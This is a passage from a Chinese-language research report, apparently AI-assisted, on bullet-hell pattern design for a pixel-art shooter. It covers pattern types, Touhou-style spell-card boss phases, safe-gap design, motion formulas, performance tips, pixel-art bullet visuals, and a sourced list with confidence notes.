对随机角的负面评价)\n- **数学与实现要点**:\n - 在固定规律上叠加小随机:\"受控随机看起来更像弹幕\"(note.com 3-1):\n ```\n angle = base + i * even_angle + sin(t) * 波动幅度 # 规律性\n speed = base_speed + random(-0.2, 0.2) # 微扰\n ```\n - 随机角度也可用作\"种子角度\":例如连续发射环形弹时,每轮用一个随机初始角,避免盲区/避免每轮覆盖完全相同的路径(Sparen Guide A2)。\n- **经典游戏例子**:东方的\"小虫型符卡\"(《魔理沙的魔法书》分类,子弹细碎、颜色丰富,多为弱妖怪用,来源:Wikipedia 符卡)与妖精群随机弹(常识);Cave 的 Mushihimesama 强调\"更快、更集中\"的火力,其随机感更强(来源:Zen of the SHMUP / Reddit 讨论)。\n- **像素风格设计建议**:随机弹适合**点弹/星弹/米粒弹**等小尺寸,配合\"闪烁\"动画强调危险性;随机弹颜色可用亮白/黄等\"危险信号色\";注意与背景对比度(slynyrd)。\n\n### 2.6 追踪弹幕(Homing / Aimed)\n\n- **视觉描述**:\n - **瞄准弹(Aimed)**:开火瞬间朝玩家当前位置瞄准(可加扇形成\"瞄准扇/散弹\"),考验玩家\"引弹\"(misdirection)能力(note.com 2-4、maribelhearn 术语)。\n - **追踪弹(Homing)**:飞行中持续转向玩家。转向性能越弱越容易躲,追求\"稍微弯曲\"而非\"全程咬死\",反而更美观(note.com 2-13)。\n- **数学与实现要点**:\n ```\n desired = atan2(player.y - bullet.y, player.x - bullet.x)\n turn = clamp(desired - bullet.angle, -maxTurnRate*dt, +maxTurnRate*dt)\n bullet.angle += turn # 限速转向(turning performance)\n # 可选:加速度朝玩家、停顿后重新加速、分裂后重新锁定(note.com 2-13 变体)\n ```\n- **经典游戏例子**:瞄准弹是 Cave\"concentrated fire / tracking\"风格的基石(来源:SHMUP Workshop 03 YouTube——\"tracking and spread gates, 经典 CAVE 做法\");东方 Boss 的瞄准时间差/瞄准散弹(常识)。追踪弹在 DoDonPachi 的\"自爆弹\"(suicide bullets,击破敌人释放的追踪自机弹)中大量出现(来源:TimeExtension)。\n- **像素风格设计建议**:追踪弹要用**明显的方向性贴图**(箭头/小刀/蝴蝶等)且贴图随角度旋转,否则玩家读不出它在转弯(Sparen Guide A2:\"无方向性贴图的圆弹不传达转向\")。用发光/描边强调\"这只子弹会追我\"。\n\n### 2.7 反弹弹幕(Bounce / Ricochet)\n\n- **视觉描述**:子弹撞到屏幕边缘/墙壁后反弹继续飞行,轨迹呈折线。属于\"轨迹型\"弹幕中较少见的一类。\n- **数学与实现要点**:碰撞边缘时反射角度:`angle = π - angle`(左右边)或 `angle = -angle`(上下边),或对速度向量做分量取反;可加转数上限让子弹弹几次后消失。\n- **经典游戏例子**:相比东方式纵版弹幕(子弹通常出屏即消),反弹弹更常见于街机/横版与部分同人弹幕(如某些 Cave 之外的 STG);东方中近乎**没有**常规反弹弹(常识判断,未见调研资料佐证其广泛存在)。⚠️ 这属于\"相对少见\"的类型,若要在本项目中使用,建议作为特色武器或 Boss 特殊阶段引入,而非基础词库。\n- **像素风格设计建议**:反弹弹适合圆润的**圆形/椭弹**(避免方向性贴图在反弹瞬间的旋转跳变违和);反弹瞬间加 1–2 帧\"压缩-回弹\"动画或火花粒子,强化物理感;用预警或颜色提示\"它会弹\"。\n\n### 2.8 滞留弹幕(Static / Lingering)\n\n- **视觉描述**:子弹停留在场上形成持续障碍,或极慢速移动封锁区域。包括:静止弹墙、悬浮使魔、地面/空中持续存在的弹(laser 也可视为线状滞留)。作用是**区域封锁(area denial)**:封住一部分屏幕,为后续弹幕做铺垫,或堵住之前的逃逸路线(SHMUP Workshop 03:area denial patterns 的定义;Boghog:bullet sealing、ceasefire zone 等反挫败机制)。\n- **数学与实现要点**:寿命(lifespan)拉长 + 速度降到 ~0;或通过\"分裂条件=凝固\"实现\"飞行到某点后停住\"。可让滞留弹周期性闪烁(半透明 + 呼吸)提示\"仍在威胁中\"。\n- **经典游戏例子**:东方\"压迫型符卡\"(《魔理沙的魔法书》:限制自机移动范围的符卡,来源 Wikipedia,如灵梦的梦符「二重结界」以弹幕构成双重结界限制移动——B 站文章以它为例);激光墙封路也是常见形式(note.com 2-14,激光\"clearly block off parts of the screen\")。\n- **像素风格设计建议**:滞留弹必须与\"会动的危险弹\"在视觉上区分——建议**低频闪烁 + 半透明 + 固定描边**;或用\"发光的柱子/结界\"图形(如结界/棱镜形状)表示区域阻碍物。静止弹用冷色系(蓝/紫),活动弹用暖色系,形成语义分离。\n\n### 2.9 组合弹幕(Compound Patterns)\n\n- **视觉描述**:把多个模式叠加。例如\"螺旋铺满屏 + 瞄准弹逼玩家移动\",或\"展开环 + 中途分裂 + 激光堵路\"。(note.com 2-15 Composite)\n- **设计原则**(note.com 3-2 / 2-15):\n - 组合时**指定一个主模式**,其余为伴奏,避免信息过载。\n - 元素越多,越要依赖颜色编码、预警、缝隙设计来保证可读性。\n - 组合要形成\"分工\":背景压迫 + 前景逼迫(如中间难度组合:旋转全向弹 + 上方落雨 + 周期性瞄准弹)。\n- **经典游戏例子**:东方高阶符卡几乎都是组合(常识,如多层螺旋+分裂环+预警激光即 note.com 高级 Boss 推荐组合);阿空(地灵殿)的符卡是微/宏闪避结合的著名组合(Sparen Guide A3)。\n- **像素风格设计建议**:组合弹幕在像素风下最容易\"糊成一团\"。建议:每个模式用**不同主色**;不同模式用**不同子弹形状**(圆=压迫、针=直线、星=装饰/特殊);层与层之间拉开速度差,让玩家能分层读取。\n\n### 2.10 调研补充的常用模式\n\n以下模式来自 note.com 的《15 种经典弹幕模式》与 Sparen 指南,按需并入本项目词库:\n\n| 模式 | 视觉/玩法特征 | 要点 | 像素建议 |\n|---|---|---|---|\n| **波型/幕帘(Wave/Curtain)** | 正弦波排列的子弹带,像波浪/极光/瀑布,容易与 BGM 节奏联动 | 重点是\"缝隙的流动感\"而非子弹本身;`y = a·sin(ωt + φ)` 排布 | 用细长米弹/针弹沿正弦排布,同色系渐变 |\n| **网格(Grid)** | 横竖规则排列,钻石/晶体状,几何美且缝隙可读;纯网格易单调,加大小的速度差/局部缺口 | 强规律、易读、密度↑难度↑ | 用规则小圆弹 + 网格闪烁/错位动画 |\n| **花状(Floral)** | 对称花瓣排列(5/6/8 瓣),华丽,适合符卡演出 | 对称越高越精致;过度均匀会单调,周期性转相位 | 花瓣用两类颜色交替(瓣=亮、蕊=暗)强化图案 |\n| **星形/多边形(Star)** | 强调特定顶点(5/6/8 向)的星形放射 | 少弹星形也醒目,适合元素/性格表达 | 用星形贴图子弹 + 旋转动画 |\n| **交叉(Intersection)** | 多股弹流交叉如编织/光流;视觉美但缝隙易被切断 | 关注\"玩家可走的路径\"而非交点;调速度/密度/交叉角 | 两条交叉流用互补色(如青 vs 品红)|\n| **落雨(Rain)** | 自上而下倾泻,天然适合道中演出 | 全随机易不公平,保持一定规律美观 | 竖直方向子弹用垂直长条贴图或水滴形 |\n| **粒子(Particles)** | 火花/星尘式散落,适合爆炸、花瓣、魔法粒子、Boss 登场 | 给角度/速度/密度一个\"范围+偏置\" | 小尺寸 + 闪烁,可叠加在其他弹幕上做纹理 |\n| **激光(Laser)** | 线/带状攻击,视觉冲击强,可明确封路 | 发射前先给**细预警线(telegraph)**最公平;有固定/旋转/弯曲/网格激光 | 预警线细→粗的 2 帧过渡动画;激光主体用高亮+描边 |\n| **分裂弹(Split)** | 飞行中途/定时/到距离后爆成子弹(如 1→3),常伴随\"先停顿\"预警 | 分裂条件:时间/距离/位置;分裂后子弹可重新锁定玩家(note.com 2-13) | 母弹大而亮(告知\"会爆\"),子弹小一号;停顿帧加\"蓄力闪光\" |\n\n---\n\n## 3. Boss 战弹幕设计\n\n### 3.1 阶段转换与东方Project符卡系统(Spell Card)\n\n**东方Project 的符卡系统**(来源:Wikipedia《符卡》、百度百科、PIXNET 东方介绍):\n\n- **来源与规则**:符卡(Spell Card,スペルカード)由《东方红魔乡》首次引入(ZUN 自述为\"比其它系统更早面世\"而开发本作)。符卡规则 = \"给绝技命名并宣言\"的决斗规则:宣言、约定符卡张数、击破对方全部符卡即胜。\n- **敌方符卡流程**:\n 1. **非符(nonspell)**:Boss 的普通攻击,一般耐久条分格为单位;\n 2. **符卡宣言**:血量削到阈值时 Boss \"念符\"(宣言),画面切换为该角色专属 Spell Card 背景,进入符卡攻击;\n 3. **符卡红利(Spell Card Bonus, SCB)**:无 Miss 无 Bomb 击破符卡可获得额外分数,随时间递减;擦弹可增加红利;\n 4. **时间限制**:每张符卡有残余时间显示,超时 Boss 自动进入下一波(此时无法收取符卡)。\n- **符卡变体**:\n - **增强型符卡**:随血量削减,弹幕密度/速度逐渐增加,越到后面越难(强化难度的天然手段);\n - **时效型/时限型符卡**:耐久无法直接削减,玩家必须\"死守到时间结束\"才能收取(生存符卡 survival card;如《永夜抄》部分符卡);\n - **Last Spell / Last Word / Overdrive**:残机为零或特定条件下的最终符卡(Extra/隐藏挑战用)。\n- **难度变化**:同一符卡在 Easy/Normal 与 Hard/Lunatic 下常有**不同名字**(Higher 难度名字更华丽),弹幕排列与颜色也会变化(Wikipedia)。\n- **《魔理沙的魔法书》对符卡的分类**(Wikipedia):演剧型(重视觉效果、大量非瞄准装饰弹)、奴隶型(用使魔/人偶/式神攻击)、小虫型(细碎多彩、弱妖怪)、压迫型(限制自机移动范围)、兴奋剂型(强化自身)。\n\n**对本项目的启示**:阶段(Phase)不必按血量硬切,可以模仿\"非符→符卡宣言→符卡\"的节奏:普通阶段保持低密度教学,宣言瞬间清场 + 特效 + 显示符卡名,制造\"仪式感\";生存符卡(时限型)能复用已有图案、只改目标(熬过 X 秒),开发成本低、演出效果好。\n\n### 3.2 弹幕密度控制\n\n- **密度不是越多越好**:'curtain fire'不等于无限堆弹;密度阈值之后,可读性(readability)崩坏,玩家感到\"不公平\"而非\"华丽\"(note.com 3-2:设计缝隙而非密度)。\n- **难度曲线**:\n - 报告参考\"轻/重阶段交替\"(Danmaku Unlimited 3 采用东方式 light/heavy 交替:轻阶段让玩家喘息与移动,重阶段密集压迫,来源 Forgotten Worlds 采访);\n - 每个 Boss 阶段内\"缓慢升级\":起点是玩家已见过的简单变体,随后逐次加大子弹量/缩小缝隙/提高速度(SHMUP Workshop 03:slow escalation)。\n - 不同难度等级通过\"同一图案改密度/速度/名字\"来分层(东方难度差异,Wikipedia)。\n- **可控变量**(可做成运行时调参工具):子弹数、速度、发射间隔、扇形张角、环形偏转、随机种子、加层数。\n- **Cave 的 rank 系统**:根据玩家当前表现(残机/雷/击破率)动态调整弹幕强度——可选的高级机制(来源:TimeExtension;Boghog 亦建议用\"credit feed 降 rank\"来练习 Boss)。\n\n### 3.3 安全路径设计(Safe Zones / 缝隙 / 路线)\n\n弹幕的本质是\"缝隙谜题\",安全路径是设计对象而非巧合:\n\n- **微闪避(micrododging)**:在密集子弹的缝隙间小幅移动穿行(Sparen A3 / maribelhearn / Boghog);\n- **宏闪避(macrododging)**:对整个弹幕编队进行大幅度绕行、找到整块安全区(safe spot / safespot——\"内部完全不会被击中(或近于)的点/区域\",maribelhearn 术语);东方中 BOWAP、咲夜道中非符等是经典 safespot(maribelhearn Beginner Guide / jargon);\n- **引弹(streaming / misdirection)**:瞄准弹只有在玩家\"把弹流引到别处\"时才安全——设计上,持续的瞄准弹迫使玩家移动并制造\"下一波更难\"的位置压力(SHMUP Workshop 03:被满屏引导到尴尬位置会削弱后续应对;maribelhearn:misdirection 常在数秒空隙内完成);\n- **路线(routing)**:玩家在静态/半静态弹幕中规划的具体移动路径,是\"设计缝隙\"的最终产物;\n- **设计检查表**(综合 note.com 3-2 与 SHMUP Workshop 03):\n 1. 画图时刻意留下**可见的缝隙**(gap width > 判定点 + 子弹判定 + 误差余量);\n 2. 区分\"安全点型\"(原地不动即可)与\"移动型\"(需要持续引弹)两类安全路径,交替使用;\n 3. 用瞄准弹/区域封锁弹**主动关闭**上一轮的安全点,防止玩家蹲坑(area denial,SHMUP Workshop 03;以及\"anti-camping:避免玩家龟缩\"的 Boss 设计目标);\n 4. 每次重复图案时用随机种子旋转相位,避免出现固定盲区(Sparen A2)。\n\n### 3.4 时间限制与弹幕压力\n\n- **时限符卡**:上面已述(生存符卡)。在设计上,时限 = \"不需要 DPS 检验,纯粹考验躲避\",适合放在 Boss 战中段作为节奏变化点(东方文花帖/弹幕天邪鬼等衍生作品以\"时限+道具\"为核心玩法)。\n- **压力节奏(tension-release loop)**:\n - 每个波次设计\"入口压力→主压力→释放\"三段式:先预警(低压力、可读),再高压(核心躲避),最后 1–2 秒\"突然变简单\"给玩家胜利快感(Boss Up YouTube:survive 之后的那 1 秒喘息极具成瘾性);\n - 压力来源可以分层:视觉压力(满屏)、逻辑压力(瞄准)、时间压力(超时/残机消耗)。\n- **Boss 战的五个设计要素**(来源:Game Developer《Video Game Boss Design for Shmups》):\n 1. **难度 Difficulty**:首关 Boss 必须让\"认真玩的人\"能过;Boss 攻击应与关卡已有敌人/道具主题连贯(\"进化\"而非\"空降\");\n 2. **多样性 Variety**:Boss 血量条分段显示图案边界;同一段血内可循环多个攻击,且每次攻击要求不同的躲避/输出策略;\n 3. **时长 Length**:Boss 战时长与关卡时长成比例;中 Boss 不应比关底 Boss 长;把\"信息不对等的假 Boss → 真 Boss\"当一次性惊喜;\n 4. **回报 Pay-off**:Boss 战末尾(濒死前)往往\"倾泻所有弹幕\"制造最终高潮(Mushihimesama、ESPGaluda2、Ikaruga 第 3 章 Boss 都是例子);好回报 = 节奏铺垫 + 假危机;\n 5. **角色 Character**:爆炸方式、受击反馈、蓄力/宣言动画、音效都要符合角色性格——这是\"为什么这个 Boss 挡在这里\"的叙事答案。\n\n### 3.5 东方式 Boss 战结构参考(综合)\n\n1. 开战:非符 1(轻、教学、环/扇)\n2. 符卡宣言(换背景、念符名)→ 符卡 1(主题图案,时间限制,收取奖励)\n3. 非符 2(中压,引入瞄准/引弹)\n4. 符卡 2(组合图案,增强型:随血量变密)→ ……\n5. 濒死:Last Spell / 最终符卡(最强+最华丽)→ 消弹演出(击破瞬间子弹变道具)\n6. (挑战层)隐藏:Extra 时限符卡 / 弹幕天邪鬼式\"看似不可能\"组合\n\n---\n\n## 4. 数学原理与实现\n\n### 4.1 基础参数体系\n\n任何一个弹幕模式都可由以下参数组合生成(来源:note.com 第 4 章;o3de-diorama 参数表):\n\n| 参数 | 作用 | 备注 |\n|---|---|---|\n| 发射位置 | 敌中心/屏幕边缘/多炮塔 | 决定子弹出生点阵型 |\n| **发射角度** | 固定 / 旋转 / 瞄准 / 随机 | 最易出效果 |\n| 子弹数量 | 密度 | 环形=一圈数量、扇形=扇内数量 |\n| 发射间隔 | 节奏 | 决定\"流\"还是\"波\" |\n| 子弹速度 | 难度与观感 | 快=危险、慢=可读 |\n| 加速度 | 节奏与曲线 | 减速弹、加速弹 |\n| 角速度 | 螺旋、转向弹 | 曲线弹的核心 |\n| 寿命 | 消失时机 | 滞留弹=长寿命 |\n| 分裂条件 | 时间/距离/位置 | 分裂弹 |\n| 颜色/大小 | 可读性与美观 | 颜色=属性编码 |\n\n### 4.2 角度与排列公式(常用)\n\n- **环形**:`angle_i = base + i·360/n`,`v = speed·(cos, sin)`(2.1 节)\n- **扇形**:`angle_i = aim - spread/2 + i·spread/(n-1)`(2.3 节)\n- **瞄准**:`angle = atan2(py - ey, px - ex) + 偏移`(瞄准扇 = 在其两侧均匀分布)\n- **网格**:对 `(i,j)` 行列给固定 x/y 间距\n- **正弦波**:`x 或 y += A·sin(ω·t + φ)`(2.10 波型)\n- **花瓣/星形**:`angle_i = base + i·(360/petal) + 相位`,再由花瓣内多颗子弹构成瓣形\n- **规律+微扰**:`angle = base + i·even + sin(t)·fluct`,`speed = base + random(-δ,δ)`(note.com 3-1)\n- **周期循环**:如\"每 60 帧一波大浪、每 15 帧小弹、每 4 发反转角度\"制造音乐性节奏(note.com 3-4)\n\n### 4.3 速度变化(加速/减速弹幕)\n\nDanmokou(DMK 引擎)归纳的常见运动(来源:Danmokou Tutorial 6):\n\n1. 恒定速度直线(默认)\n2. **直线加速**(`v(t) = v0 + a·t`,可正可负:赶人弹/诱导弹)\n3. 速度在慢/快之间周期切换\n4. 两位置间往返\n5. 极坐标运动(径向+角速度)\n6. 波浪线(squiggly)\n7. 旋转运动方向(追踪/转向)\n8. 相对另一运动物体运动(随从弹/母舰子机)\n9. 任意参数方程轨迹\n\n工程提示:DMK 把运动建模为**函数**(`rvelocity(px(3 + sine(4, 0.6, t)))`),而不是\"速度/加速度两个标量\",从而任意轨迹即插即用;其子弹更新循环一次函数调用即可支撑 10 万以上子弹 @4K 120FPS(DMK 官方数据)。\n\n### 4.4 曲线弹幕(转向 / 极坐标 / 贝塞尔)\n\n- **限速转向(追踪弹)**:每帧把朝向转向上限内的目标方向(2.6 节公式);\"转向弱一点更好躲也更好看\"(note.com 2-13)。\n- **极坐标螺旋**:`r(t)=a·t, θ(t)=b·t` → 直角坐标 `x = cx + r·cosθ, y = cy + r·sinθ`(DMK 示例 `polar(2*t, 80*t)`)。注意极坐标绕圈时转速均匀性需要弧长参数化,DMK 作者自述\"没有闭式解,需迭代求解\"。\n- **贝塞尔曲线(弯曲弹)**:二次贝塞尔 `B(t) = (1-t)²·P0 + 2(1-t)·t·P1 + t²·P2`,每帧采样 t∈[0,1] 作为下一位置(通用图形学做法,非本次调研单一来源;用于\"弧形弹道/水漂弹\")。三次贝塞尔 `C(t)` 用于更复杂的 S 形弹道。\n- **正弦扰动**:在固定方向上叠加正弦横向偏移,成为\"S 形\"弹(Unity 论坛实现示例)。\n- **角度退化/曲线激光**:东方中存在\"准激光\"(弧形激光、曲线灵弹),判定比直线激光大(thwiki 弹型介绍)——曲线弹道要么给足预警,要么减小判定。\n\n### 4.5 性能实现建议\n\n- **对象池(object pool)**:固定容量池 + 硬上限,防止无限生成(o3de-diorama 的 `Max Bullets` 硬上限设计)。\n- **批量渲染**:同一纹理的整组子弹一次 draw call(sprite batch / 合批)。\n- **碰撞**:每颗活子弹对目标碰撞层做一次重叠查询,目标层只放玩家/护盾几个碰撞体,几百颗子弹也便宜(o3de-diorama)。\n- **功能分层**:发射器(emitter)只管几何与碰撞,伤害/计分留在游戏侧(o3de-diorama 的分工建议)。\n\n---\n\n## 5. 像素风格下的弹幕视觉设计\n\n### 5.1 子弹形状库\n\n**核心原则**:'shmup 最核心的是弹幕的可读性(visibility)——在任何背景下都能被读出'(slynyrd Pixelblog 31)。形状即语义:**形状要匹配行为**(Sparen Guide A2 / Pixelblog 32:箭形弹配直线飞行才合理;追踪弹要旋转指向的运动方向)。\n\n**东方参考形状清单**(来源:thwiki《东方全弹型介绍与中弹判定分析》、maribelhearn 子弹类型表、Steam Touhou Bullets Model Pack):\n\n| 类别 | 形状 | 用途/特点 | 像素建议 |\n|---|---|---|---|\n| 圆形系 | 小玉(带圈/不带圈)、中玉、大玉(空心) | 通用基础弹;大玉实际判定仅中心空洞 | 6–10px 圆 + 描边;大玉用\"中空环\"贴图配透明中心 |\n| 粒状 | 点弹、米弹 | 点弹最小(<判定点),米弹为最高发弹量弹型之一 | 3–4px 点、8×4 米粒;米弹风速后有变短/判定变大差异 |\n| 尖形 | 针弹/箭弹/晶弹 | 速度感、方向感最强 | 长 8–14px 的三角/箭头,尖端高亮 |\n| 刀剑形 | 刀弹、剑弹、苦无 | 角色辨识度高(如咲夜/蕾米) | 剑身+尖端高光;前端无判定所以略细 |\n| 星光形 | 星弹(大/小)、光弹 | 华丽、魔法感;光弹判定偏大 | 4 角/5 角星 + 旋转动画 |\n| 特殊形 | 蝶弹、心弹、音符弹、钱弹、鳞弹(带\"翼\") | 角色主题、装饰 | 2 帧扇翅/跳动动画;鳞弹判定仅中心点 |\n| 火焰/流体 | 炎弹、水滴/滴弹 | 不规则 | 2–3 帧沸腾动画,\"躲前端\"语义 |\n| 激光 | 线段激光/射线激光、弧形激光 | 封路、视觉冲击 | 预警线(细)→ 实体(粗)2 帧过渡;线身描边 |\n\n**东方判定参考**(thwiki):多数弹\"判定 < 视觉\":大玉只有中心空洞有效、鳞弹只有中心点、剑弹前端无判定、激光靠预警线判定;当\"准激光/粥弹/核弹\"等判定欺诈弹出现时,需要玩家另行学习——像素风下**不要滥用判定欺诈**,默认\"所见即所判\"更公平。\n\n### 5.2 颜色编码\n\n- **基础原则**:子弹是屏幕上最鲜艳的元素;用高饱和色与背景拉开对比;颜色可传达属性/机制语义(slynyrd;note.com 3-3)。\n- **按属性/危险度编码**示例:\n - 红/橙 = 高速、致命、普通攻击;\n - 蓝/青 = 特殊判定、特殊移动(如反弹/曲线/激光);\n - 紫/白 = 装饰弹、非致命、演出用;\n - 绿 = 通常用于玩家/友方,避免敌方子弹大量用绿(语义混淆)。\n - (以上为常见实践惯例,属综合常识,非单一文献结论。)\n- **注意**:颜色要与背景/特效区分(note.com 3-3);考虑红绿色盲——**不要只靠红/绿区分要害**,同时用形状/大小/闪烁区分。\n- **同波同色**:同一次发射的子弹用同一色系,方便玩家把\"一波子弹\"当整体读(note.com 3-3:子弹类型或危险度不同则换色)。\n\n### 5.3 子弹大小与可躲避性\n\n- **判定点 vs 视觉**:自机 hitbox 远小于机绘(Cave 1px hitbox、DoDonPachi 子弹判定约直径 20%,来源 TimeExtension/Shmups Wiki);聚焦模式时在判定点处显示小红点让玩家能\"穿缝\"。\n- **子弹尺寸**:越大越可见但占屏;太小(<判定点)会\"消失\"且威胁感弱。建议子弹视觉 6–16px 常见、点弹 3–4px、激光不限长(slynyrd:子弹应大小多样,通常越大伤害越高)。\n- **缝隙设计**:安全缝隙宽度 = 玩家判定 + 子弹判定 + 玩家操作误差(微闪避用低速聚焦移动保证精度);设计时给缝隙留 ≥2–3px 冗余(工程经验法则)。\n- **密度 vs 大小**:子弹越小越能密(给留出视觉通道);同屏密度高时,小弹+弱判定(空心大玉)是\"看起来吓人、实际可穿\"的经典手法(thwiki 大玉示例)。\n\n### 5.4 发光/粒子效果在像素风格中的处理\n\n- **描边(outline)**:几乎必备,最好**双层描边**(亮色外圈+暗色内圈)以保证任何背景下可读;pixel 风格常用白描边与其它精灵(深描边)区分(slynyrd)。\n- **闪烁/双帧动画**:两帧交替即可做出\"呼吸/危险脉冲\";对比度越大越激烈,但太强会难以追踪快速弹(slynyrd)。\n- **发光**:像素风发光 = 亮色核心 + 1 层半透明同色光晕(加色混合 additive)或\"外扩 1px 亮描边\";避免真实 bloom 破坏像素感。\n- **粒子**:爆炸/火花/花瓣用\"范围+偏置\"的受控随机(note.com 2-12);粒子可叠加在弹幕上做纹理而不是独立威胁。\n- **脉冲缩放**:呼吸/脉动(expanding-contracting)可让呆滞的圆弹\"活起来\"(slynyrd 的 rotation/motion 建议)。\n- **消弹特效**:Boss 符卡击破瞬间,全屏子弹转为道具/星点,是东方色的标志性演出(Touhou Wiki Items:子弹在 Boss 攻击结束/未超时被打掉时转为星道具;消弹 cancel 亦为计分要素,maribelhearn 术语)。\n\n### 5.5 弹幕层级的视觉优先级\n\n绘制顺序(从底层到顶层,工程惯例 + Reddit shmupdev 设计 101 摘要:\"敌方子弹永远画在其它对象之上\"):\n\n1. 背景/场景层\n2. 地面敌人/可破坏物\n3. 道具、点数\n4. 玩家射击、爆炸特效(半透明)\n5. **敌方子弹(最高优先级之一,必须覆盖玩家机绘)**\n6. 玩家机绘 + 判定点指示(聚焦时)\n7. UI(血量/符卡名/时间)\n\n理由:玩家需要\"先读弹,再读自己\";若子弹被机绘/特效遮挡,就会产生\"判定杀(clipdeath)\"的挫败感(maribelhearn 术语)。\n\n### 5.6 像素风格弹幕设计清单(落地用)\n\n- [ ] 每种模式指定**1 个主色 + 1 种子弹形状**(勿两种都在变);\n- [ ] 危险弹用暖色+闪光,装饰弹用冷色/暗色调;\n- [ ] 所有敌方子弹带描边(建议双层),且在玩家机绘之上绘制;\n- [ ] 直线/追踪/曲线弹使用**方向性贴图**(箭头/针/刀)并随角度旋转;\n- [ ] 预警:激光先细线→粗线;分裂弹先停顿+蓄力闪光;大威力攻击让 Boss 本体发光(note.com 3-5);\n- [ ] 判定 < 视觉:默认简化判定(圆/椭圆),为\"大玉/鳞弹\"这类特殊判定做贴图注释(空心=可穿);\n- [ ] 像素分辨率建议在 320×180~640×360 区间定基准(slynyrd 建议 480×270),保证单个子弹仍有足够像素表达细节;\n- [ ] 每张符卡/阶段限定子弹色彩数(建议 2–3 色),避免像素噪点化。\n\n---\n\n## 6. 对本项目(像素风弹幕游戏)的落地建议汇总\n\n1. **词库起步**:环形 / 螺旋 / 扇形 / 直线(流+墙)/ 瞄准扇 / 受控随机 / 分裂弹 / 激光(带预警)/ 滞留结界,共 9 个基础模式,先用\"参数化发射器\"(Count/Aim/Spread/Spin/Speed/FireRate/Lifetime)实现(参照 o3de-diorama 的参数表),Boss 脚本只做\"模式序列 + 转场\",成本最低。\n2. **难度曲线**:按\"非符(轻)→ 符卡(重)→ 非符 → 符卡 …\"排布;每张符卡 = 1 主题图案 + 增强型变密 + 时限生存变体(一套图案三种玩法)。\n3. **公平性**:所有危险性一定要有预警(telegraph);缝隙 > 判定 + 冗余;颜色+形状双通道编码。\n4. **像素视觉**:双层描边 + 双帧闪烁 + 加色发光小光晕 + 同波同色 2–3 色限制 + 子弹层级最高。\n5. **性能**:对象池 + 合批 + 简化碰撞层(目标只放玩家/护盾),确保几百到几千颗子弹稳定 60FPS。\n\n---\n\n## 7. 信息来源与置信度说明\n\n按信息诚实原则,对所有关键结论标注来源与置信度:\n\n**(A)本轮调研直接引用的网页来源(置信度高,可复核):**\n\n1. npaka,《A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters》(note.com)——15 种模式分类、组合配方、参数与设计 tips:https://note.com/npaka/n/n5d38b7d84173?hl=en\n2. Sparen's Danmaku Design Studio,Guide A2(角度类型、方向性子弹、心理过滤、danmaku vs 普通 STG)、Guide A3(墙的定义、微/宏闪避、Utsuho 例子):https://sparen.github.io/ph3tutorials/ddsga2.html 、ddsga3.html\n3. Danmokou(DMK 引擎)Tutorial 6(函数式运动系统、极坐标螺旋公式、性能数据、贝塞尔/参数方程讨论):https://dmk.bagoum.com/docs/articles/t06.html\n4. Wikipedia《符卡》(符卡规则、宣言、红利、时效/增强型、Last Spell/Last Word/Overdrive、难度差异、魔理沙魔法书分类):https://zh.wikipedia.org/zh-hans/符卡\n5. thwiki/东方吧Wiki《东方全弹型介绍与中弹判定分析》(小玉/米弹/点弹/大玉/光弹/针弹/鳞弹/剑弹/炎弹/激光/核弹/粥弹及判定细则):https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html=\n6. maribelhearn 《Touhou Community Jargon》(子弹类型表、micro/macro dodge、safespot、streaming、misdirection、routing、cancel、clipdeath 等术语):https://maribelhearn.com/faq/jargon(含中文版)\n7. maribelhearn Beginner Guide(微/宏闪避、流弹引弹、safespot 举例 BOWAP 等):https://wiki.maribelhearn.com/wiki/Beginner_Guide\n8. slynyrd Pixelblog 31《Shmup Design Part 1》(像素子弹设计:颜色/大小/形状/描边/闪烁/旋转、分辨率建议);Pixelblog 32(外观与行为匹配):https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n9. Game Developer《Video Game Boss Design For Shmups》(Boss 五要素:难度/多样性/时长/回报/角色;健康条分段;Cave 例子):https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n10. SHMUP Workshop 03《Bullet Pattern Design》(模式角色:警告/位移/区域封锁/最终引导;slow escalation;微宏闪避;CAVE tracking 做法;Boss 设计目标):YouTube ArZRZSYICLo\n11. TimeExtension《CAVE Story: The History of DonPachi》(命中率 20% 判定、自爆弹、rank 系统、1px hitbox);Shmups Wiki《CAVE》词条(1px 判定、游戏清单):https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything\n12. Forgotten Worlds《A guide to Danmaku Unlimited 3》(脚本化弹幕、Touhou 式轻/重阶段交替):https://www.forgottenworlds.net/bullet-hell-danmaku\n13. Zen of the SHMUP(DonPachi 系列=图案+记忆、Mushihimesama=快速集中火、Cave 组合):https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup\n14. o3de-diorama《24-bullet-patterns.md》(Ring/Fan/Spiral 参数表、对象池、合批、碰撞层设计):https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md\n15. Boghog's bullet hell shmup 101(bullet sealing、micro/macro dodge 补充):https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n16. Reddit r/shmupdev《BULLET HELL SHMUP DESIGN 101》(\"敌方子弹永远绘制在其他对象之上\"等原则,仅经搜索摘要获取,置信度中):https://www.reddit.com/r/shmupdev/comments/13w730k/\n17. 其它:Summer Engine(判定点/聚焦/擦弹术语)、Touhou Wiki Items(消弹转星道具)、Steam Touhou Bullets Model Pack(子弹形状清单)、Ted Lim《Day 49》(sin/cos 扇面公式)等。\n\n**(B)置信度说明:**\n\n- 上述 (A) 列来源中的具体论断:**我很确定**它们出自对应来源(可直接复核)。\n- \"经典游戏例子\"中标注为\"常识\"的条目(例如\"东方各作螺旋遍地\"\"芙兰朵露星弧破碎\"等),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。\n- \"像素建议\"\"设计检查表\"\"落地建议\"等小节为**基于上述来源的综合工程建议**(合理推断,非文献原文),置信度中上,请结合游戏实测调整。\n- 反弹弹(2.7)在东方系纵版弹幕中近乎缺席是**常识判断**;调研资料中未找到专门文献,如要使用建议先做原型验证。\n\n---\n\n## 附录 A:参考链接汇总\n\n- https://note.com/npaka/n/n5d38b7d84173?hl=en (15 种弹幕模式)\n- https://sparen.github.io/ph3tutorials/ddsga2.html / ddsga3.html (弹幕设计工作室指南)\n- 